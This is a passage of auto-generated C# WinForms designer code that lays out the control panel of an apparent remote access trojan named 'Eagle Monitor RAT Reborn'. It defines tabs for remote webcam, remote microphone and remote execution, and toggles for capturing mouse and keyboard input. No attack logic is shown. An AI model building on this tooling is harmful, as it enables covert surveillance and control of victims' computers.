this.captureGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.captureGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.captureGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White;\n            this.captureGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.captureGuna2ToggleSwitch_CheckedChanged);\n            // \n            // mouseGuna2ToggleSwitch\n            // \n            this.mouseGuna2ToggleSwitch.Animated = true;\n            this.mouseGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.mouseGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.mouseGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.mouseGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White;\n            this.mouseGuna2ToggleSwitch.Location = new System.Drawing.Point(142, 11);\n            this.mouseGuna2ToggleSwitch.Name = \"mouseGuna2ToggleSwitch\";\n            this.mouseGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20);\n            this.mouseGuna2ToggleSwitch.TabIndex = 60;\n            this.mouseGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.mouseGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.mouseGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.mouseGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White;\n            this.mouseGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.mouseGuna2ToggleSwitch_CheckedChanged);\n            // \n            // panel5\n            // \n            this.panel5.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.panel5.Dock = System.Windows.Forms.DockStyle.Bottom;\n            this.panel5.Location = new System.Drawing.Point(0, 43);\n            this.panel5.Name = \"panel5\";\n            this.panel5.Size = new System.Drawing.Size(1083, 4);\n            this.panel5.TabIndex = 65;\n            // \n            // qualityGuna2TrackBar\n            // \n            this.qualityGuna2TrackBar.Location = new System.Drawing.Point(339, 12);\n            this.qualityGuna2TrackBar.Name = \"qualityGuna2TrackBar\";\n            this.qualityGuna2TrackBar.Size = new System.Drawing.Size(97, 20);\n            this.qualityGuna2TrackBar.TabIndex = 59;\n            this.qualityGuna2TrackBar.ThumbColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.qualityGuna2TrackBar.ValueChanged += new System.EventHandler(this.qualityGuna2TrackBar_ValueChanged);\n            // \n            // label1\n            // \n            this.label1.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label1.Location = new System.Drawing.Point(3, 11);\n            this.label1.Name = \"label1\";\n            this.label1.Size = new System.Drawing.Size(59, 20);\n            this.label1.TabIndex = 58;\n            this.label1.Text = \"Capture:\";\n            this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // keyboardGuna2ToggleSwitch\n            // \n            this.keyboardGuna2ToggleSwitch.Animated = true;\n            this.keyboardGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.keyboardGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.keyboardGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.keyboardGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White;\n            this.keyboardGuna2ToggleSwitch.Location = new System.Drawing.Point(246, 11);\n            this.keyboardGuna2ToggleSwitch.Name = \"keyboardGuna2ToggleSwitch\";\n            this.keyboardGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20);\n            this.keyboardGuna2ToggleSwitch.TabIndex = 61;\n            this.keyboardGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.keyboardGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.keyboardGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.keyboardGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White;\n            this.keyboardGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.keyboardGuna2ToggleSwitch_CheckedChanged);\n            // \n            // label4\n            // \n            this.label4.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label4.Location = new System.Drawing.Point(97, 11);\n            this.label4.Name = \"label4\";\n            this.label4.Size = new System.Drawing.Size(51, 20);\n            this.label4.TabIndex = 62;\n            this.label4.Text = \"Mouse:\";\n            this.label4.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // label5\n            // \n            this.label5.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label5.Location = new System.Drawing.Point(183, 11);\n            this.label5.Name = \"label5\";\n            this.label5.Size = new System.Drawing.Size(68, 20);\n            this.label5.TabIndex = 63;\n            this.label5.Text = \"Keyboard:\";\n            this.label5.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // label6\n            // \n            this.label6.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label6.Location = new System.Drawing.Point(289, 11);\n            this.label6.Name = \"label6\";\n            this.label6.Size = new System.Drawing.Size(59, 20);\n            this.label6.TabIndex = 64;\n            this.label6.Text = \"Quality:\";\n            this.label6.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // tabPage11\n            // \n            this.tabPage11.Controls.Add(this.remoteWebCamPictureBox);\n            this.tabPage11.Controls.Add(this.panel8);\n            this.tabPage11.Location = new System.Drawing.Point(4, 44);\n            this.tabPage11.Name = \"tabPage11\";\n            this.tabPage11.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage11.TabIndex = 2;\n            this.tabPage11.Text = \"Remote WebCam\";\n            this.tabPage11.UseVisualStyleBackColor = true;\n            // \n            // remoteWebCamPictureBox\n            // \n            this.remoteWebCamPictureBox.BackColor = System.Drawing.Color.White;\n            this.remoteWebCamPictureBox.ContextMenuStrip = this.webCamContextMenuStrip;\n            this.remoteWebCamPictureBox.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.remoteWebCamPictureBox.Location = new System.Drawing.Point(0, 47);\n            this.remoteWebCamPictureBox.Name = \"remoteWebCamPictureBox\";\n            this.remoteWebCamPictureBox.Size = new System.Drawing.Size(1083, 379);\n            this.remoteWebCamPictureBox.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;\n            this.remoteWebCamPictureBox.TabIndex = 67;\n            this.remoteWebCamPictureBox.TabStop = false;\n            // \n            // webCamContextMenuStrip\n            // \n            this.webCamContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.webCamContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.getWebCamToolStripMenuItem,\n            this.saveWebCamToolStripMenuItem});\n            this.webCamContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.webCamContextMenuStrip.Size = new System.Drawing.Size(162, 72);\n            // \n            // getWebCamToolStripMenuItem\n            // \n            this.getWebCamToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.getWebCamToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.getWebCamToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.video_call_32px;\n            this.getWebCamToolStripMenuItem.Name = \"getWebCamToolStripMenuItem\";\n            this.getWebCamToolStripMenuItem.Size = new System.Drawing.Size(161, 34);\n            this.getWebCamToolStripMenuItem.Text = \"Get WebCams\";\n            this.getWebCamToolStripMenuItem.Click += new System.EventHandler(this.getWebCamToolStripMenuItem_Click);\n            // \n            // saveWebCamToolStripMenuItem\n            // \n            this.saveWebCamToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.saveWebCamToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.saveWebCamToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.save_32px;\n            this.saveWebCamToolStripMenuItem.Name = \"saveWebCamToolStripMenuItem\";\n            this.saveWebCamToolStripMenuItem.Size = new System.Drawing.Size(161, 34);\n            this.saveWebCamToolStripMenuItem.Text = \"Save\";\n            this.saveWebCamToolStripMenuItem.Click += new System.EventHandler(this.saveWebCamToolStripMenuItem_Click);\n            // \n            // panel8\n            // \n            this.panel8.BackColor = System.Drawing.Color.White;\n            this.panel8.Controls.Add(this.camerasGuna2ComboBox);\n            this.panel8.Controls.Add(this.captureWebCamGuna2ToggleSwitch);\n            this.panel8.Controls.Add(this.panel9);\n            this.panel8.Controls.Add(this.label2);\n            this.panel8.Dock = System.Windows.Forms.DockStyle.Top;\n            this.panel8.Location = new System.Drawing.Point(0, 0);\n            this.panel8.Name = \"panel8\";\n            this.panel8.Size = new System.Drawing.Size(1083, 47);\n            this.panel8.TabIndex = 66;\n            // \n            // camerasGuna2ComboBox\n            // \n            this.camerasGuna2ComboBox.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Left | System.Windows.Forms.AnchorStyles.Right)));\n            this.camerasGuna2ComboBox.Animated = true;\n            this.camerasGuna2ComboBox.AutoRoundedCorners = true;\n            this.camerasGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.camerasGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.camerasGuna2ComboBox.BorderRadius = 17;\n            this.camerasGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.camerasGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.camerasGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.camerasGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.camerasGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.camerasGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.camerasGuna2ComboBox.ItemHeight = 30;\n            this.camerasGuna2ComboBox.Location = new System.Drawing.Point(96, 3);\n            this.camerasGuna2ComboBox.Name = \"camerasGuna2ComboBox\";\n            this.camerasGuna2ComboBox.Size = new System.Drawing.Size(983, 36);\n            this.camerasGuna2ComboBox.TabIndex = 66;\n            // \n            // captureWebCamGuna2ToggleSwitch\n            // \n            this.captureWebCamGuna2ToggleSwitch.Animated = true;\n            this.captureWebCamGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.captureWebCamGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.captureWebCamGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.captureWebCamGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White;\n            this.captureWebCamGuna2ToggleSwitch.Location = new System.Drawing.Point(55, 11);\n            this.captureWebCamGuna2ToggleSwitch.Name = \"captureWebCamGuna2ToggleSwitch\";\n            this.captureWebCamGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20);\n            this.captureWebCamGuna2ToggleSwitch.TabIndex = 57;\n            this.captureWebCamGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.captureWebCamGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.captureWebCamGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.captureWebCamGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White;\n            this.captureWebCamGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.captureWebCamGuna2ToggleSwitch_CheckedChanged);\n            // \n            // panel9\n            // \n            this.panel9.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.panel9.Dock = System.Windows.Forms.DockStyle.Bottom;\n            this.panel9.Location = new System.Drawing.Point(0, 43);\n            this.panel9.Name = \"panel9\";\n            this.panel9.Size = new System.Drawing.Size(1083, 4);\n            this.panel9.TabIndex = 65;\n            // \n            // label2\n            // \n            this.label2.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label2.Location = new System.Drawing.Point(3, 11);\n            this.label2.Name = \"label2\";\n            this.label2.Size = new System.Drawing.Size(59, 20);\n            this.label2.TabIndex = 58;\n            this.label2.Text = \"Capture:\";\n            this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // tabPage12\n            // \n            this.tabPage12.Controls.Add(this.panel10);\n            this.tabPage12.Location = new System.Drawing.Point(4, 44);\n            this.tabPage12.Name = \"tabPage12\";\n            this.tabPage12.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage12.TabIndex = 3;\n            this.tabPage12.Text = \"Remote Microphone\";\n            this.tabPage12.UseVisualStyleBackColor = true;\n            // \n            // panel10\n            // \n            this.panel10.BackColor = System.Drawing.Color.White;\n            this.panel10.ContextMenuStrip = this.microphoneContextMenuStrip;\n            this.panel10.Controls.Add(this.audioDevicesGuna2ComboBox);\n            this.panel10.Controls.Add(this.label7);\n            this.panel10.Controls.Add(this.currentMachineDevicesGuna2ComboBox);\n            this.panel10.Controls.Add(this.remoteMicrophoneGuna2ToggleSwitch);\n            this.panel10.Controls.Add(this.label3);\n            this.panel10.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.panel10.Location = new System.Drawing.Point(0, 0);\n            this.panel10.Name = \"panel10\";\n            this.panel10.Size = new System.Drawing.Size(1083, 426);\n            this.panel10.TabIndex = 67;\n            // \n            // microphoneContextMenuStrip\n            // \n            this.microphoneContextMenuStrip.ImageScalingSize = new System.Drawing.Size(28, 28);\n            this.microphoneContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {\n            this.getMicrophonesToolStripMenuItem});\n            this.microphoneContextMenuStrip.Name = \"clientContextMenuStrip\";\n            this.microphoneContextMenuStrip.Size = new System.Drawing.Size(178, 38);\n            // \n            // getMicrophonesToolStripMenuItem\n            // \n            this.getMicrophonesToolStripMenuItem.BackColor = System.Drawing.Color.White;\n            this.getMicrophonesToolStripMenuItem.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.getMicrophonesToolStripMenuItem.Image = global::Eagle_Monitor_RAT_Reborn.Properties.Resources.microphone_32px;\n            this.getMicrophonesToolStripMenuItem.Name = \"getMicrophonesToolStripMenuItem\";\n            this.getMicrophonesToolStripMenuItem.Size = new System.Drawing.Size(177, 34);\n            this.getMicrophonesToolStripMenuItem.Text = \"Get Microphones\";\n            this.getMicrophonesToolStripMenuItem.Click += new System.EventHandler(this.getMicrophonesToolStripMenuItem_Click);\n            // \n            // audioDevicesGuna2ComboBox\n            // \n            this.audioDevicesGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.audioDevicesGuna2ComboBox.Animated = true;\n            this.audioDevicesGuna2ComboBox.AutoRoundedCorners = true;\n            this.audioDevicesGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.audioDevicesGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.audioDevicesGuna2ComboBox.BorderRadius = 17;\n            this.audioDevicesGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.audioDevicesGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.audioDevicesGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.audioDevicesGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.audioDevicesGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.audioDevicesGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.audioDevicesGuna2ComboBox.ItemHeight = 30;\n            this.audioDevicesGuna2ComboBox.Location = new System.Drawing.Point(280, 101);\n            this.audioDevicesGuna2ComboBox.Name = \"audioDevicesGuna2ComboBox\";\n            this.audioDevicesGuna2ComboBox.Size = new System.Drawing.Size(592, 36);\n            this.audioDevicesGuna2ComboBox.TabIndex = 68;\n            // \n            // label7\n            // \n            this.label7.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label7.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label7.Location = new System.Drawing.Point(165, 179);\n            this.label7.Name = \"label7\";\n            this.label7.Size = new System.Drawing.Size(59, 36);\n            this.label7.TabIndex = 67;\n            this.label7.Text = \"Listen on:\";\n            this.label7.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // currentMachineDevicesGuna2ComboBox\n            // \n            this.currentMachineDevicesGuna2ComboBox.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.currentMachineDevicesGuna2ComboBox.Animated = true;\n            this.currentMachineDevicesGuna2ComboBox.AutoRoundedCorners = true;\n            this.currentMachineDevicesGuna2ComboBox.BackColor = System.Drawing.Color.White;\n            this.currentMachineDevicesGuna2ComboBox.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.currentMachineDevicesGuna2ComboBox.BorderRadius = 17;\n            this.currentMachineDevicesGuna2ComboBox.DrawMode = System.Windows.Forms.DrawMode.OwnerDrawFixed;\n            this.currentMachineDevicesGuna2ComboBox.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;\n            this.currentMachineDevicesGuna2ComboBox.FocusedColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.currentMachineDevicesGuna2ComboBox.FocusedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(94)))), ((int)(((byte)(148)))), ((int)(((byte)(255)))));\n            this.currentMachineDevicesGuna2ComboBox.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 8F);\n            this.currentMachineDevicesGuna2ComboBox.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.currentMachineDevicesGuna2ComboBox.ItemHeight = 30;\n            this.currentMachineDevicesGuna2ComboBox.Location = new System.Drawing.Point(280, 179);\n            this.currentMachineDevicesGuna2ComboBox.Name = \"currentMachineDevicesGuna2ComboBox\";\n            this.currentMachineDevicesGuna2ComboBox.Size = new System.Drawing.Size(592, 36);\n            this.currentMachineDevicesGuna2ComboBox.TabIndex = 66;\n            // \n            // remoteMicrophoneGuna2ToggleSwitch\n            // \n            this.remoteMicrophoneGuna2ToggleSwitch.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.remoteMicrophoneGuna2ToggleSwitch.Animated = true;\n            this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.remoteMicrophoneGuna2ToggleSwitch.CheckedState.InnerColor = System.Drawing.Color.White;\n            this.remoteMicrophoneGuna2ToggleSwitch.Location = new System.Drawing.Point(220, 110);\n            this.remoteMicrophoneGuna2ToggleSwitch.Name = \"remoteMicrophoneGuna2ToggleSwitch\";\n            this.remoteMicrophoneGuna2ToggleSwitch.Size = new System.Drawing.Size(35, 20);\n            this.remoteMicrophoneGuna2ToggleSwitch.TabIndex = 57;\n            this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.BorderColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(190)))), ((int)(((byte)(190)))), ((int)(((byte)(190)))));\n            this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.InnerBorderColor = System.Drawing.Color.White;\n            this.remoteMicrophoneGuna2ToggleSwitch.UncheckedState.InnerColor = System.Drawing.Color.White;\n            this.remoteMicrophoneGuna2ToggleSwitch.CheckedChanged += new System.EventHandler(this.remoteMicrophoneGuna2ToggleSwitch_CheckedChanged);\n            // \n            // label3\n            // \n            this.label3.Anchor = System.Windows.Forms.AnchorStyles.None;\n            this.label3.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(100)))), ((int)(((byte)(100)))), ((int)(((byte)(100)))));\n            this.label3.Location = new System.Drawing.Point(165, 101);\n            this.label3.Name = \"label3\";\n            this.label3.Size = new System.Drawing.Size(59, 36);\n            this.label3.TabIndex = 58;\n            this.label3.Text = \"Capture:\";\n            this.label3.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;\n            // \n            // tabPage14\n            // \n            this.tabPage14.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.tabPage14.Controls.Add(this.miscellaneousGuna2TabControl);\n            this.tabPage14.Location = new System.Drawing.Point(4, 4);\n            this.tabPage14.Name = \"tabPage14\";\n            this.tabPage14.Size = new System.Drawing.Size(1091, 474);\n            this.tabPage14.TabIndex = 4;\n            this.tabPage14.Text = \"Miscellaneous\";\n            // \n            // miscellaneousGuna2TabControl\n            // \n            this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage15);\n            this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage16);\n            this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage17);\n            this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage18);\n            this.miscellaneousGuna2TabControl.Controls.Add(this.tabPage23);\n            this.miscellaneousGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.miscellaneousGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.miscellaneousGuna2TabControl.Location = new System.Drawing.Point(0, 0);\n            this.miscellaneousGuna2TabControl.Name = \"miscellaneousGuna2TabControl\";\n            this.miscellaneousGuna2TabControl.SelectedIndex = 0;\n            this.miscellaneousGuna2TabControl.Size = new System.Drawing.Size(1091, 474);\n            this.miscellaneousGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.miscellaneousGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.miscellaneousGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.miscellaneousGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.miscellaneousGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.miscellaneousGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.miscellaneousGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.miscellaneousGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.miscellaneousGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.miscellaneousGuna2TabControl.TabButtonIdleState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(235)))), ((int)(((byte)(235)))), ((int)(((byte)(235)))));\n            this.miscellaneousGuna2TabControl.TabButtonSelectedState.BorderColor = System.Drawing.Color.Empty;\n            this.miscellaneousGuna2TabControl.TabButtonSelectedState.FillColor = System.Drawing.Color.FromArgb(((int)(((byte)(240)))), ((int)(((byte)(240)))), ((int)(((byte)(240)))));\n            this.miscellaneousGuna2TabControl.TabButtonSelectedState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.miscellaneousGuna2TabControl.TabButtonSelectedState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(115)))), ((int)(((byte)(115)))), ((int)(((byte)(115)))));\n            this.miscellaneousGuna2TabControl.TabButtonSelectedState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.miscellaneousGuna2TabControl.TabButtonSize = new System.Drawing.Size(180, 40);\n            this.miscellaneousGuna2TabControl.TabIndex = 68;\n            this.miscellaneousGuna2TabControl.TabMenuBackColor = System.Drawing.Color.White;\n            this.miscellaneousGuna2TabControl.TabMenuOrientation = Guna.UI2.WinForms.TabMenuOrientation.HorizontalTop;\n            // \n            // tabPage15\n            // \n            this.tabPage15.BackColor = System.Drawing.Color.White;\n            this.tabPage15.Controls.Add(this.memoryExecutionGuna2TabControl);\n            this.tabPage15.Location = new System.Drawing.Point(4, 44);\n            this.tabPage15.Name = \"tabPage15\";\n            this.tabPage15.Size = new System.Drawing.Size(1083, 426);\n            this.tabPage15.TabIndex = 1;\n            this.tabPage15.Text = \"Remote Execution\";\n            // \n            // memoryExecutionGuna2TabControl\n            // \n            this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage19);\n            this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage22);\n            this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage20);\n            this.memoryExecutionGuna2TabControl.Controls.Add(this.tabPage21);\n            this.memoryExecutionGuna2TabControl.Dock = System.Windows.Forms.DockStyle.Fill;\n            this.memoryExecutionGuna2TabControl.ItemSize = new System.Drawing.Size(180, 40);\n            this.memoryExecutionGuna2TabControl.Location = new System.Drawing.Point(0, 0);\n            this.memoryExecutionGuna2TabControl.Name = \"memoryExecutionGuna2TabControl\";\n            this.memoryExecutionGuna2TabControl.SelectedIndex = 0;\n            this.memoryExecutionGuna2TabControl.Size = new System.Drawing.Size(1083, 426);\n            this.memoryExecutionGuna2TabControl.TabButtonHoverState.BorderColor = System.Drawing.Color.Empty;\n            this.memoryExecutionGuna2TabControl.TabButtonHoverState.FillColor = System.Drawing.Color.Gainsboro;\n            this.memoryExecutionGuna2TabControl.TabButtonHoverState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.memoryExecutionGuna2TabControl.TabButtonHoverState.ForeColor = System.Drawing.Color.White;\n            this.memoryExecutionGuna2TabControl.TabButtonHoverState.InnerColor = System.Drawing.Color.FromArgb(((int)(((byte)(205)))), ((int)(((byte)(151)))), ((int)(((byte)(249)))));\n            this.memoryExecutionGuna2TabControl.TabButtonIdleState.BorderColor = System.Drawing.Color.Empty;\n            this.memoryExecutionGuna2TabControl.TabButtonIdleState.FillColor = System.Drawing.Color.White;\n            this.memoryExecutionGuna2TabControl.TabButtonIdleState.Font = new System.Drawing.Font(\"Segoe UI Semibold\", 10F);\n            this.memoryExecutionGuna2TabControl.TabButtonIdleState.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(156)))), ((int)(((byte)(160)))), ((int)(((byte)(167)))));\n            this.memoryExecutionGuna2TabControl.TabButtonIdleState.InnerColor = 